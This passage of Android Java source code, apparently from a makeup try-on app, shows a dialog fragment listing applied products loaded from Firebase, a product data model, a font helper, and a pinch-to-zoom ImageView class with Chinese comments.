inflater.inflate(R.layout.makeup_product_fragment_layout, null);\n\n if (getArguments().getString(\"selectedFoundationID\") != null) {\n selectedFoundationID = getArguments().getString(\"selectedFoundationID\");\n foundationColorPostion = getArguments().getInt(\"foundationColorPosition\");\n Log.d(TAG + \" f \", selectedFoundationID + \" \" + foundationColorPostion);\n }\n if (getArguments().getString(\"selectedBrushID\") != null) {\n selectedBrushID = getArguments().getString(\"selectedBrushID\");\n brushColorPostion = getArguments().getInt(\"brushColorPosition\");\n Log.d(TAG + \" b \", selectedBrushID + \" \" + brushColorPostion);\n }\n if (getArguments().getString(\"selectedEyeshadowID\") != null) {\n selectedEyeshadowID = getArguments().getString(\"selectedEyeshadowID\");\n eyeshadowColorPostion = getArguments().getInt(\"eyeshadowColorPosition\");\n Log.d(TAG + \" e \", selectedEyeshadowID + \" \" + eyeshadowColorPostion);\n }\n if (getArguments().getString(\"selectedLipstickID\") != null) {\n selectedLipstickID = getArguments().getString(\"selectedLipstickID\");\n lipstickColorPostion = getArguments().getInt(\"lipstickColorPosition\");\n Log.d(TAG + \" l \", selectedLipstickID + \" \" + lipstickColorPostion);\n }\n\n getDatabaseProductData();\n\n before_imageview = (ImageView) rootView.findViewById(R.id.before_imageview);\n after_imageview = (ImageView) rootView.findViewById(R.id.after_imageview);\n Bitmap basicImg = getArguments().getParcelable(\"basicImg\");\n Bitmap temp = getArguments().getParcelable(\"temp\");\n before_imageview.setImageBitmap(basicImg);\n after_imageview.setImageBitmap(temp);\n\n Log.i(\"before height:\", basicImg.getHeight() +\"\");\n Log.i(\"after height:\", temp.getHeight() +\"\");\n\n rv = (RecyclerView) rootView.findViewById(R.id.makeup_product_recyclerview);\n rv.setLayoutManager(new LinearLayoutManager(this.getActivity()));\n rv.setHasFixedSize(true);\n rv.setNestedScrollingEnabled(false);\n\n rv.setAdapter(new MakeupProductAdapter(mAppliedProducts, this.getActivity()));\n builder.setTitle(\"Applied Products\");\n\n //make dialog full screen\n Dialog d = builder.setView(rootView).setNegativeButton(\"Cancel\", null).create();\n // (That new View is just there to have something inside the dialog that can grow big enough to cover the whole screen.)\n\n d.show();\n\n return d;\n }\n\n public void getDatabaseProductData() {\n mDatabase = FirebaseDatabase.getInstance().getReference().child(\"Product\");\n mDatabase.keepSynced(true);\n mDatabase.addValueEventListener(new ValueEventListener() {\n @Override\n public void onDataChange(DataSnapshot dataSnapshot) {\n for (DataSnapshot ds : dataSnapshot.getChildren()) {\n if (ds.getKey().equals(selectedFoundationID) || ds.getKey().equals(selectedBrushID) || ds.getKey().equals(selectedEyeshadowID) || ds.getKey().equals(selectedLipstickID)) {\n ProductTypeTwo result = ds.getValue(ProductTypeTwo.class);\n mAppliedProducts.put(ds.getKey(), result);\n Log.d(\" product key \", ds.getKey());\n }\n }\n }\n\n @Override\n public void onCancelled(DatabaseError databaseError) {\n }\n\n });\n }\n\n public class MakeupProductAdapter extends RecyclerView.Adapter<MakeupProductViewHolder> {\n\n private Map<String, ProductTypeTwo> mMakeupProducts = new HashMap<>();\n // Allows to remember the last item shown on screen\n private int lastPosition = -1;\n private Context context;\n\n public MakeupProductAdapter(Map<String, ProductTypeTwo> mProducts, Context c) {\n this.context = c;\n this.mMakeupProducts = mProducts;\n notifyDataSetChanged();\n }\n\n @Override\n public MakeupProductViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n Context context = parent.getContext();\n View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.makeup_apply_product_row, parent, false);\n MakeupProductViewHolder viewHolder = new MakeupProductViewHolder(view);\n return viewHolder;\n }\n\n\n @Override\n public void onBindViewHolder(MakeupProductViewHolder viewHolder, int position) {\n List<ProductTypeTwo> values = new ArrayList<>(mMakeupProducts.values());\n final ProductTypeTwo model = values.get(position);\n List<String> keys = new ArrayList<>(mMakeupProducts.keySet());\n final String product_id = keys.get(position);\n\n Log.d(TAG + \" product_id\", product_id);\n Log.d(TAG + \" product time\", model.getReleaseDate() + \"\");\n Log.d(TAG + \" product name\", model.getProductName());\n Log.d(TAG + \" product category\", model.getCategory());\n Log.d(TAG + \" product getcolor\", model.getColor().toString());\n Log.d(TAG, \"loading view \" + position);\n\n// Log.d(TAG + \" product id \", product_id);\n viewHolder.setProductName(model.getProductName());\n viewHolder.setImage(getActivity(), model.getProductImage());\n\n if (model.getCategory().equals(\"Foundation\")) {\n viewHolder.setProduct_color_image(model.getColor().get(foundationColorPostion));\n } else if (model.getCategory().equals(\"Brush\")) {\n viewHolder.setProduct_color_image(model.getColor().get(brushColorPostion));\n } else if (model.getCategory().equals(\"Eyeshadows\")) {\n viewHolder.setProduct_color_image(model.getColor().get(eyeshadowColorPostion));\n } else if (model.getCategory().equals(\"Lipsticks\")) {\n viewHolder.setProduct_color_image(model.getColor().get(lipstickColorPostion));\n }\n\n viewHolder.mView.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n Intent productDetailIntent = new Intent();\n productDetailIntent.setClass(getActivity(), ProductDetailActivity.class);\n productDetailIntent.putExtra(\"product_id\", product_id);\n Log.d(TAG + \" product_id\", product_id);\n productDetailIntent.putExtra(\"colorNo\", model.getColorNo());\n Log.d(TAG + \" colorNo\", model.getColorNo() + \"\");\n startActivity(productDetailIntent);\n }\n });\n\n setAnimation(viewHolder.itemView, position);\n Log.d(TAG, \"finish loading view\");\n }\n\n private void setAnimation(View viewToAnimate, int position) {\n // If the bound view wasn't previously displayed on screen, it's animated\n if (position > lastPosition) {\n Animation animation = AnimationUtils.loadAnimation(context, android.R.anim.fade_in);\n animation.setDuration(500);\n viewToAnimate.startAnimation(animation);\n lastPosition = position;\n }\n }\n\n @Override\n public int getItemCount() {\n return mMakeupProducts == null ? 0 : mMakeupProducts.size();\n }\n }\n\n public class MakeupProductViewHolder extends RecyclerView.ViewHolder {\n\n View mView;\n private Typeface customTypeface = Typeface.createFromAsset(itemView.getContext().getAssets(), FontManager.APP_FONT);\n\n public CircleImageView[] product_color_image = new CircleImageView[8];\n\n public MakeupProductViewHolder(View itemView) {\n super(itemView);\n mView = itemView;\n }\n\n public void setProduct_color_image(ArrayList<String> colorList) {\n product_color_image[0] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image1);\n product_color_image[1] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image2);\n product_color_image[2] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image3);\n product_color_image[3] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image4);\n product_color_image[4] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image5);\n product_color_image[5] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image6);\n product_color_image[6] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image7);\n product_color_image[7] = (CircleImageView) itemView.findViewById(R.id.makeup_product_color_image8);\n\n Log.d(TAG + \" data \", colorList.toString());\n for (int i = 0; i < colorList.size(); i++) {\n if (colorList.get(i) != null) {\n Log.d(TAG + \" onBindViewHolder\", colorList.get(i).toString());\n product_color_image[i].setColorFilter(Color.parseColor(colorList.get(i)));\n product_color_image[i].setVisibility(View.VISIBLE);\n }\n }\n }\n\n public void setProductName(String productName) {\n TextView product_title = (TextView) mView.findViewById(R.id.makeup_apply_product_name);\n product_title.setText(productName);\n product_title.setTypeface(customTypeface, Typeface.BOLD);\n }\n\n public void setImage(final Context ctx, final String image) {\n final ImageView makeup_apply_product_image = (ImageView) mView.findViewById(R.id.makeup_apply_product_image);\n Picasso.with(ctx).load(image).networkPolicy(NetworkPolicy.OFFLINE).into(makeup_apply_product_image, new Callback() {\n @Override\n public void onSuccess() {\n Log.d(TAG, \"image loading success !\");\n }\n\n @Override\n public void onError() {\n Log.d(TAG, \"image loading error !\");\n Picasso.with(ctx)\n .load(image)\n .resize(100, 100)\n .centerCrop()\n .into(makeup_apply_product_image);\n }\n });\n }\n }\n}", "public class ProductTypeTwo {\n\n private String productName;\n private String brandID;\n private String description;\n private String productImage;\n private Long colorNo;\n private String category;\n private String uid;\n private ArrayList<ArrayList<String>> color;\n private Long releaseDate;\n private int validate;\n\n public ProductTypeTwo()\n {\n\n }\n\n public ProductTypeTwo(String productName, String brandID, String description, String productImage, Long colorNo, String category, String uid, ArrayList<ArrayList<String>> color, Long releaseDate, int validate) {\n this.productName = productName;\n this.brandID = brandID;\n this.description = description;\n this.productImage = productImage;\n this.colorNo = colorNo;\n this.category = category;\n this.uid = uid;\n this.color = color;\n this.releaseDate = releaseDate;\n this.validate = validate;\n }\n\n public ProductTypeTwo(String productName, String brandID, String description, String productImage, Long colorNo, String category, String uid, ArrayList<ArrayList<String>> color, Long releaseDate) {\n this.productName = productName;\n this.brandID = brandID;\n this.description = description;\n this.productImage = productImage;\n this.colorNo = colorNo;\n this.category = category;\n this.uid = uid;\n this.color = color;\n this.releaseDate = releaseDate;\n }\n\n public String getProductName() {\n return productName;\n }\n\n public void setProductName(String productName) {\n this.productName = productName;\n }\n\n public String getBrandID() {\n return brandID;\n }\n\n public void setBrandID(String brandID) {\n this.brandID = brandID;\n }\n\n public String getDescription() {\n return description;\n }\n\n public void setDescription(String description) {\n this.description = description;\n }\n\n public String getProductImage() {\n return productImage;\n }\n\n public void setProductImage(String productImage) {\n this.productImage = productImage;\n }\n\n public Long getColorNo() {\n return colorNo;\n }\n\n public void setColorNo(Long colorNo) {\n this.colorNo = colorNo;\n }\n\n public String getCategory() {\n return category;\n }\n\n public void setCategory(String category) {\n this.category = category;\n }\n\n public String getUid() {\n return uid;\n }\n\n public void setUid(String uid) {\n this.uid = uid;\n }\n\n public ArrayList<ArrayList<String>> getColor() {\n return color;\n }\n\n public void setColor(ArrayList<ArrayList<String>> color) {\n this.color = color;\n }\n \n public Long getReleaseDate() {\n return releaseDate;\n }\n\n public void setReleaseDate(Long releaseDate) {\n this.releaseDate = releaseDate;\n }\n\n public int getValidate() {\n return validate;\n }\n\n public void setValidate(int validate) {\n this.validate = validate;\n }\n\n}", "public class FontManager {\n\n public static final String ROOT = \"fonts/\",\n CUSTOM_FONT = \"robotoLight.ttf\",\n APP_FONT = ROOT + \"robotoLight.ttf\",\n TITLE_FONT = \"Lobster.otf\";\n\n public static Typeface getTypeface(Context context, String font) {\n return Typeface.createFromAsset(context.getAssets(), font);\n }\n\n public static void markAsIconContainer(View v, Typeface typeface) {\n if (v instanceof ViewGroup) {\n ViewGroup vg = (ViewGroup) v;\n for (int i = 0; i < vg.getChildCount(); i++) {\n View child = vg.getChildAt(i);\n markAsIconContainer(child,typeface);\n }\n } else if (v instanceof TextView) {\n ((TextView) v).setTypeface(typeface);\n }\n }\n\n\n}", "public class PinchImageView extends ImageView {\n\n\n\n /**\n * 图片缩放动画时间\n */\n public static final int SCALE_ANIMATOR_DURATION = 200;\n\n /**\n * 惯性动画衰减参数\n */\n public static final float FLING_DAMPING_FACTOR = 0.9f;\n\n /**\n * 图片最大放大比例\n */\n private static final float MAX_SCALE = 4f;\n\n\n ////////////////////////////////监听器////////////////////////////////\n\n /**\n * 外界点击事件\n *\n * @see #setOnClickListener(OnClickListener)\n */\n private OnClickListener mOnClickListener;\n\n /**\n * 外界长按事件\n *\n * @see #setOnLongClickListener(OnLongClickListener)\n */\n private OnLongClickListener mOnLongClickListener;\n\n @Override\n public void setOnClickListener(OnClickListener l) {\n //默认的click会在任何点击情况下都会触发,所以搞成自己的\n mOnClickListener = l;\n }\n\n @Override\n public void setOnLongClickListener(OnLongClickListener l) {\n //默认的long click会在任何长按情况下都会触发,所以搞成自己的\n mOnLongClickListener = l;\n }\n\n\n ////////////////////////////////公共状态获取////////////////////////////////\n\n /**\n * 手势状态:自由状态\n *\n * @see #getPinchMode()\n */\n public static final int PINCH_MODE_FREE = 0;\n\n /**\n * 手势状态:单指滚动状态\n *\n * @see #getPinchMode()\n */\n public static final int PINCH_MODE_SCROLL = 1;\n\n /**\n * 手势状态:双指缩放状态\n *\n * @see #getPinchMode()\n */\n public static final int PINCH_MODE_SCALE = 2;\n\n /**\n * 外层变换矩阵,如果是单位矩阵,那么图片是fit center状态\n *\n * @see #getOuterMatrix(Matrix)\n * @see #outerMatrixTo(Matrix, long)\n */\n private Matrix mOuterMatrix = new Matrix();\n\n /**\n * 矩形遮罩\n *\n * @see #getMask()\n * @see #zoomMaskTo(RectF, long)\n */\n private RectF mMask;\n\n /**\n * 当前手势状态\n *\n * @see #getPinchMode()\n * @see #PINCH_MODE_FREE\n * @see #PINCH_MODE_SCROLL\n * @see #PINCH_MODE_SCALE\n */\n private int mPinchMode = PINCH_MODE_FREE;\n\n /**\n * 获取外部变换矩阵.\n * <p>\n * 外部变换矩阵记录了图片手势操作的最终结果,是相对于图片fit center状态的变换.\n * 默认值为单位矩阵,此时图片为fit center状态.\n *\n * @param matrix 用于填充结果的对象\n * @return 如果传了matrix参数则将matrix填充后返回, 否则new一个填充返回\n */\n public Matrix getOuterMatrix(Matrix matrix) {\n if (matrix == null) {\n matrix = new Matrix(mOuterMatrix);\n } else {\n matrix.set(mOuterMatrix);\n }\n return matrix;\n }\n\n /**\n * 获取内部变换矩阵.\n * <p>\n * 内部变换矩阵是原图到fit center状态的变换,当原图尺寸变化或者控件大小变化都会发生改变\n * 当尚未布局或者原图不存在时,其值无意义.所以在调用前需要确保前置条件有效,否则将影响计算结果.\n *\n * @param matrix 用于填充结果的对象\n * @return 如果传了matrix参数则将matrix填充后返回, 否则new一个填充返回\n */\n public Matrix getInnerMatrix(Matrix matrix) {\n if (matrix == null) {\n matrix = new Matrix();\n } else {\n matrix.reset();\n }\n if (isReady()) {\n //原图大小\n RectF tempSrc = MathUtils.rectFTake(0, 0, getDrawable().getIntrinsicWidth(), getDrawable().getIntrinsicHeight());\n //控件大小\n RectF tempDst = MathUtils.rectFTake(0, 0, getWidth(), getHeight());\n //计算fit center矩阵\n matrix.setRectToRect(tempSrc, tempDst, Matrix.ScaleToFit.CENTER);\n //释放临时对象\n MathUtils.rectFGiven(tempDst);\n MathUtils.rectFGiven(tempSrc);\n }\n return matrix;\n }\n\n /**\n * 获取图片总变换矩阵.\n * <p>\n * 总变换矩阵为内部变换矩阵x外部变换矩阵,决定了原图到所见最终状态的变换\n * 当尚未布局或者原图不存在时,其值无意义.所以在调用前需要确保前置条件有效,否则将影响计算结果.\n *\n * @param matrix 用于填充结果的对象\n * @return 如果传了matrix参数则将matrix填充后返回, 否则new一个填充返回\n * @see #getOuterMatrix(Matrix)\n * @see #getInnerMatrix(Matrix)\n */\n public Matrix getCurrentImageMatrix(Matrix matrix) {\n //获取内部变换矩阵\n matrix = getInnerMatrix(matrix);\n //乘上外部变换矩阵\n matrix.postConcat(mOuterMatrix);\n return matrix;\n }\n\n /**\n * 获取当前变换后的图片位置和尺寸\n * <p>\n * 当尚未布局或者原图不存在时,其值无意义.所以在调用前需要确保前置条件有效,否则将影响计算结果.\n *\n * @param rectF 用于填充结果的对象\n * @return 如果传了rectF参数则将rectF填充后返回, 否则new一个填充返回\n * @see #getCurrentImageMatrix(Matrix)\n */\n public RectF getImageBound(RectF rectF) {\n if (rectF == null) {\n rectF = new RectF();\n } else {\n rectF.setEmpty();\n }\n if (!isReady()) {\n return rectF;\n } else {\n //申请一个空matrix\n Matrix matrix = MathUtils.matrixTake();\n //获取当前总变换矩阵\n getCurrentImageMatrix(matrix);\n //对原图矩形进行变换得到当前显示矩形\n rectF.set(0, 0, getDrawable().getIntrinsicWidth(), getDrawable().getIntrinsicHeight());\n matrix.mapRect(rectF);\n //释放临时matrix\n MathUtils.matrixGiven(matrix);\n return rectF;\n }\n }\n\n /**\n * 获取当前设置的mask\n *\n * @return 返回当前的mask对象副本, 如果当前没有设置mask则返回null\n */\n public RectF getMask() {\n if (mMask != null) {\n return new RectF(mMask);\n } else {\n return null;\n }\n }\n\n /**\n * 获取当前手势状态\n *\n * @see #PINCH_MODE_FREE\n * @see #PINCH_MODE_SCROLL\n * @see #PINCH_MODE_SCALE\n */\n public int getPinchMode() {\n return mPinchMode;\n }\n\n /**\n * 与ViewPager结合的时候使用\n *\n * @param direction\n * @return\n */\n @Override\n public boolean canScrollHorizontally(int direction) {\n if (mPinchMode == PinchImageView.PINCH_MODE_SCALE) {\n return true;\n }\n RectF bound = getImageBound(null);\n if (bound == null) {\n return false;\n }\n if (bound.isEmpty()) {\n return false;\n }\n if (direction > 0) {\n return bound.right > getWidth();\n } else {\n return bound.left < 0;\n }\n }\n\n /**\n * 与ViewPager结合的时候使用\n *\n * @param direction\n * @return\n */\n @Override\n public boolean canScrollVertically(int direction) {\n if (mPinchMode == PinchImageView.PINCH_MODE_SCALE) {\n return true;\n }\n RectF bound = getImageBound(null);\n if (bound == null) {\n return false;\n }\n if (bound.isEmpty()) {\n return false;\n }\n if (direction > 0) {\n return bound.bottom > getHeight();\n } else {\n return bound.top < 0;\n }\n }\n\n\n ////////////////////////////////公共状态设置////////////////////////////////\n\n /**\n * 执行当前outerMatrix到指定outerMatrix渐变的动画\n * <p>\n * 调用此方法会停止正在进行中的手势以及手势动画.\n * 当duration为0时,outerMatrix值会被立即设置而不会启动动画.\n *\n * @param endMatrix 动画目标矩阵\n * @param duration 动画持续时间\n * @see #getOuterMatrix(Matrix)\n */\n public void outerMatrixTo(Matrix endMatrix, long duration) {\n if (endMatrix == null) {\n return;\n }\n //将手势设置为PINCH_MODE_FREE将停止后续手势的触发\n mPinchMode = PINCH_MODE_FREE;\n //停止所有正在进行的动画\n cancelAllAnimator();\n //如果时间不合法立即执行结果\n if (duration <= 0) {\n mOuterMatrix.set(endMatrix);\n dispatchOuterMatrixChanged();\n invalidate();\n } else {\n //创建矩阵变化动画\n mScaleAnimator = new ScaleAnimator(mOuterMatrix, endMatrix, duration);\n mScaleAnimator.start();\n }\n }\n\n /**\n * 执行当前mask到指定mask的变化动画\n * <p>\n * 调用此方法不会停止手势以及手势相关动画,但会停止正在进行的mask动画.\n * 当前mask为null时,则不执行动画立即设置为目标mask.\n * 当duration为0时,立即将当前mask设置为目标mask,不会执行动画.\n *\n * @param mask 动画目标mask\n * @param duration 动画持续时间\n * @see #getMask()\n */\n public void zoomMaskTo(RectF mask, long duration) {\n if (mask == null) {\n return;\n }\n //停止mask动画\n if (mMaskAnimator != null) {\n mMaskAnimator.cancel();\n mMaskAnimator = null;\n }\n //如果duration为0或者之前没有设置过mask,不执行动画,立即设置\n if (duration <= 0 || mMask == null) {\n if (mMask == null) {\n mMask = new RectF();\n }\n mMask.set(mask);\n invalidate();\n } else {\n //执行mask动画\n mMaskAnimator = new MaskAnimator(mMask, mask, duration);\n mMaskAnimator.start();\n }\n }\n\n /**\n * 重置所有状态\n * <p>\n * 重置位置到fit center状态,清空mask,停止所有手势,停止所有动画.\n * 但不清空drawable,以及事件绑定相关数据.\n */\n public void reset() {\n //重置位置到fit\n mOuterMatrix.reset();\n dispatchOuterMatrixChanged();\n //清空mask\n mMask = null;\n //停止所有手势\n mPinchMode = PINCH_MODE_FREE;\n mLastMovePoint.set(0, 0);\n mScaleCenter.set(0, 0);\n mScaleBase = 0;\n //停止所有动画\n if (mMaskAnimator != null) {\n mMaskAnimator.cancel();\n mMaskAnimator = null;\n }\n cancelAllAnimator();\n //重绘\n invalidate();\n }\n\n\n ////////////////////////////////对外广播事件////////////////////////////////\n\n /**\n * 外部矩阵变化事件通知监听器\n */\n public interface OuterMatrixChangedListener {\n\n /**\n * 外部矩阵变化回调\n * <p>\n * 外部矩阵的任何变化后都收到此回调.\n * 外部矩阵变化后,总变化矩阵,图片的展示位置都将发生变化.\n *\n * @param pinchImageView\n * @see #getOuterMatrix(Matrix)\n * @see #getCurrentImageMatrix(Matrix)\n * @see #getImageBound(RectF)\n */\n void onOuterMatrixChanged(PinchImageView pinchImageView);\n }\n\n /**\n * 所有OuterMatrixChangedListener监听列表\n *\n * @see #addOuterMatrixChangedListener(OuterMatrixChangedListener)\n * @see #removeOuterMatrixChangedListener(OuterMatrixChangedListener)\n */\n private List<OuterMatrixChangedListener> mOuterMatrixChangedListeners;\n\n /**\n * 当mOuterMatrixChangedListeners被锁定不允许修改时,临时将修改写到这个副本中\n *\n * @see #mOuterMatrixChangedListeners\n */\n private List<OuterMatrixChangedListener> mOuterMatrixChangedListenersCopy;\n\n /**\n * mOuterMatrixChangedListeners的修改锁定\n * <p>\n * 当进入dispatchOuterMatrixChanged方法时,被加1,退出前被减1\n *\n * @see #dispatchOuterMatrixChanged()\n * @see #addOuterMatrixChangedListener(OuterMatrixChangedListener)\n * @see #removeOuterMatrixChangedListener(OuterMatrixChangedListener)\n */\n private int mDispatchOuterMatrixChangedLock;\n\n /**\n * 添加外部矩阵变化监听\n *\n * @param listener\n */\n public void addOuterMatrixChangedListener(OuterMatrixChangedListener listener) {\n if (listener == null) {\n return;\n }\n //如果监听列表没有被修改锁定直接将监听添加到监听列表\n if (mDispatchOuterMatrixChangedLock == 0) {\n if (mOuterMatrixChangedListeners == null) {\n mOuterMatrixChangedListeners = new ArrayList<OuterMatrixChangedListener>();\n }\n mOuterMatrixChangedListeners.add(listener);\n } else {\n //如果监听列表修改被锁定,那么尝试在监听列表副本上添加\n //监听列表副本将会在锁定被解除时替换到监听列表里\n if (mOuterMatrixChangedListenersCopy == null) {\n if (mOuterMatrixChangedListeners != null) {\n mOuterMatrixChangedListenersCopy = new ArrayList<OuterMatrixChangedListener>(mOuterMatrixChangedListeners);\n } else {\n mOuterMatrixChangedListenersCopy = new ArrayList<OuterMatrixChangedListener>();\n }\n }\n mOuterMatrixChangedListenersCopy.add(listener);\n }\n }\n\n /**\n * 删除外部矩阵变化监听\n *\n * @param listener\n */\n public void removeOuterMatrixChangedListener(OuterMatrixChangedListener listener) {\n if (listener == null) {\n return;\n }\n //如果监听列表没有被修改锁定直接在监听列表数据结构上修改\n if (mDispatchOuterMatrixChangedLock == 0) {\n if (mOuterMatrixChangedListeners != null) {\n mOuterMatrixChangedListeners.remove(listener);\n }\n } else {\n //如果监听列表被修改锁定,那么就在其副本上修改\n //其副本将会在锁定解除时替换回监听列表\n if (mOuterMatrixChangedListenersCopy == null) {\n if (mOuterMatrixChangedListeners != null) {\n mOuterMatrixChangedListenersCopy = new ArrayList<OuterMatrixChangedListener>(mOuterMatrixChangedListeners);\n }\n }\n if (mOuterMatrixChangedListenersCopy != null) {\n mOuterMatrixChangedListenersCopy.remove(listener);\n }\n }\n }\n\n /**\n * 触发外部矩阵修改事件\n * <p>\n * 需要在每次给外部矩阵设置值时都调用此方法.\n *\n * @see #mOuterMatrix\n */\n private void dispatchOuterMatrixChanged() {\n if (mOuterMatrixChangedListeners == null) {\n return;\n }\n //增加锁\n //这里之所以用计数器做锁定是因为可能在锁定期间又间接调用了此方法产生递归\n //使用boolean无法判断递归结束\n mDispatchOuterMatrixChangedLock++;\n //在列表循环过程中不允许修改列表,否则将引发崩溃\n for (OuterMatrixChangedListener listener : mOuterMatrixChangedListeners) {\n listener.onOuterMatrixChanged(this);\n }\n //减锁\n mDispatchOuterMatrixChangedLock--;\n //如果是递归的情况,mDispatchOuterMatrixChangedLock可能大于1,只有减到0才能算列表的锁定解除\n if (mDispatchOuterMatrixChangedLock == 0) {\n //如果期间有修改列表,那么副本将不为null\n if (mOuterMatrixChangedListenersCopy != null) {\n //将副本替换掉正式的列表\n mOuterMatrixChangedListeners = mOuterMatrixChangedListenersCopy;\n //清空副本\n mOuterMatrixChangedListenersCopy = null;\n }\n }\n }\n\n\n ////////////////////////////////用于重载定制////////////////////////////////\n\n /**\n * 获取图片最大可放大的比例\n * <p>\n * 如果放大大于这个比例则不被允许.\n * 在双手缩放过程中如果图片放大比例大于这个值,手指释放将回弹到这个比例.\n * 在双击放大过程中不允许放大比例大于这个值.\n * 覆盖此方法可以定制不同情况使用不同的最大可放大比例.\n *\n * @return 缩放比例\n * @see #scaleEnd()\n * @see #doubleTap(float, float)\n */\n protected float getMaxScale() {\n return MAX_SCALE;\n }\n\n /**\n * 计算双击之后图片接下来应该被缩放的比例\n * <p>\n * 如果值大于getMaxScale或者小于fit center尺寸,则实际使用取边界值.\n * 通过覆盖此方法可以定制不同的图片被双击时使用不同的放大策略.\n *\n * @param innerScale 当前内部矩阵的缩放值\n * @param outerScale 当前外部矩阵的缩放值\n * @return 接下来的缩放比例\n * @see #doubleTap(float, float)\n * @see #getMaxScale()\n */\n protected float calculateNextScale(float innerScale, float outerScale) {\n float currentScale = innerScale * outerScale;\n if (currentScale < MAX_SCALE) {\n return MAX_SCALE;\n } else {\n return innerScale;\n }\n }\n\n\n ////////////////////////////////初始化////////////////////////////////\n\n public PinchImageView(Context context) {\n super(context);\n initView();\n }\n\n public PinchImageView(Context context, AttributeSet attrs) {\n super(context, attrs);\n initView();\n }\n\n public PinchImageView(Context context, AttributeSet attrs, int defStyle) {\n super(context, attrs, defStyle);\n initView();\n }\n\n private void initView() {\n //强制设置图片scaleType为matrix\n super.setScaleType(ScaleType.MATRIX);\n }\n\n //不允许设置scaleType,只能用内部设置的matrix\n @Override\n public void setScaleType(ScaleType scaleType) {\n }\n\n\n ////////////////////////////////绘制////////////////////////////////\n\n @Override\n protected void onDraw(Canvas canvas) {\n //在绘制前设置变换矩阵\n if (isReady()) {\n Matrix matrix = MathUtils.matrixTake();\n setImageMatrix(getCurrentImageMatrix(matrix));\n MathUtils.matrixGiven(matrix);\n }\n //对图像做遮罩处理\n if (mMask != null) {\n canvas.save();\n canvas.clipRect(mMask);\n super.onDraw(canvas);\n canvas.restore();\n } else {\n super.onDraw(canvas);\n }\n }\n\n\n ////////////////////////////////有效性判断////////////////////////////////\n\n /**\n * 判断当前情况是否能执行手势相关计算\n * <p>\n * 包括:是否有图片,图片是否有尺寸,控件是否有尺寸.\n *\n * @return 是否能执行手势相关计算\n */\n private boolean isReady() {\n return getDrawable() != null && getDrawable().getIntrinsicWidth() > 0 && getDrawable().getIntrinsicHeight() > 0\n && getWidth() > 0 && getHeight() > 0;\n }\n\n\n ////////////////////////////////mask动画处理////////////////////////////////\n\n /**\n * mask修改的动画\n * <p>\n * 和图片的动画相互独立.\n *\n * @see #zoomMaskTo(RectF, long)\n */\n private MaskAnimator mMaskAnimator;\n\n /**\n * mask变换动画\n * <p>\n * 将mask从一个rect动画到另外一个rect\n */\n private class MaskAnimator extends ValueAnimator implements ValueAnimator.AnimatorUpdateListener {\n\n /**\n * 开始mask\n */\n private float[] mStart = new float[4];\n\n /**\n * 结束mask\n */\n private float[] mEnd = new float[4];\n\n /**\n * 中间结果mask\n */\n private float[] mResult = new float[4];\n\n /**\n * 创建mask变换动画\n *\n * @param start 动画起始状态\n * @param end 动画终点状态\n * @param duration 动画持续时间\n */\n public MaskAnimator(RectF start, RectF end, long duration) {\n super();\n setFloatValues(0, 1f);\n setDuration(duration);\n addUpdateListener(this);\n //将起点终点拷贝到数组方便计算\n mStart[0] = start.left;\n mStart[1] = start.top;\n mStart[2] = start.right;\n mStart[3] = start.bottom;\n mEnd[0] = end.left;\n mEnd[1] = end.top;\n mEnd[2] = end.right;\n mEnd[3] = end.bottom;\n }\n\n @Override\n public void onAnimationUpdate(ValueAnimator animation) {\n //获取动画进度,0-1范围\n float value = (Float) animation.getAnimatedValue();\n //根据进度对起点终点之间做插值\n for (int i = 0; i < 4; i++) {\n mResult[i] = mStart[i] + (mEnd[i] - mStart[i]) * value;\n }\n //期间mask有可能被置空了,所以判断一下\n if (mMask == null) {\n mMask = new RectF();\n }\n //设置新的mask并绘制\n mMask.set(mResult[0], mResult[1], mResult[2], mResult[3]);\n invalidate();\n }\n }\n\n\n ////////////////////////////////手势动画处理////////////////////////////////\n\n /**\n * 在单指模式下:\n * 记录上一次手指的位置,用于计算新的位置和上一次位置的差值.\n * <p>\n * 双指模式下:\n * 记录两个手指的中点,作为和mScaleCenter绑定的点.\n * 这个绑定可以保证mScaleCenter无论如何都会跟随这个中点.\n *\n * @see #mScaleCenter\n * @see #scale(PointF, float, float, PointF)\n * @see #scaleEnd()\n */\n private PointF mLastMovePoint = new PointF();\n\n /**\n * 缩放模式下图片的缩放中点.\n * <p>\n * 为其指代的点经过innerMatrix变换之后的值.\n * 其指代的点在手势过程中始终跟随mLastMovePoint.\n * 通过双指缩放时,其为缩放中心点.\n *\n * @see #saveScaleContext(float, float, float, float)\n * @see #mLastMovePoint\n * @see #scale(PointF, float, float, PointF)\n */\n private PointF mScaleCenter = new PointF();\n\n /**\n * 缩放模式下的基础缩放比例\n * <p>\n * 为外层缩放值除以开始缩放时两指距离.\n * 其值乘上最新的两指之间距离为最新的图片缩放比例.\n *\n * @see #saveScaleContext(float, float, float, float)\n * @see #scale(PointF, float, float, PointF)\n */\n private float mScaleBase = 0;\n\n /**\n * 图片缩放动画\n * <p>\n * 缩放模式把图片的位置大小超出限制之后触发.\n * 双击图片放大或缩小时触发.\n * 手动调用outerMatrixTo触发.\n *\n * @see #scaleEnd()\n * @see #doubleTap(float, float)\n * @see #outerMatrixTo(Matrix, long)\n */\n private ScaleAnimator mScaleAnimator;\n\n /**\n * 滑动产生的惯性动画\n *\n * @see #fling(float, float)\n */\n private FlingAnimator mFlingAnimator;\n\n /**\n * 常用手势处理\n * <p>\n * 在onTouchEvent末尾被执行.\n */\n private GestureDetector mGestureDetector = new GestureDetector(PinchImageView.this.getContext(), new GestureDetector.SimpleOnGestureListener() {\n\n public boolean onFling(MotionEvent e1, MotionEvent e2, float velocityX, float velocityY) {\n //只有在单指模式结束之后才允许执行fling\n if (mPinchMode == PINCH_MODE_FREE && !(mScaleAnimator != null && mScaleAnimator.isRunning())) {\n fling(velocityX, velocityY);\n }\n return true;\n }\n\n public void onLongPress(MotionEvent e) {\n //触发长按\n if (mOnLongClickListener != null) {\n mOnLongClickListener.onLongClick(PinchImageView.this);\n }\n }\n\n public boolean 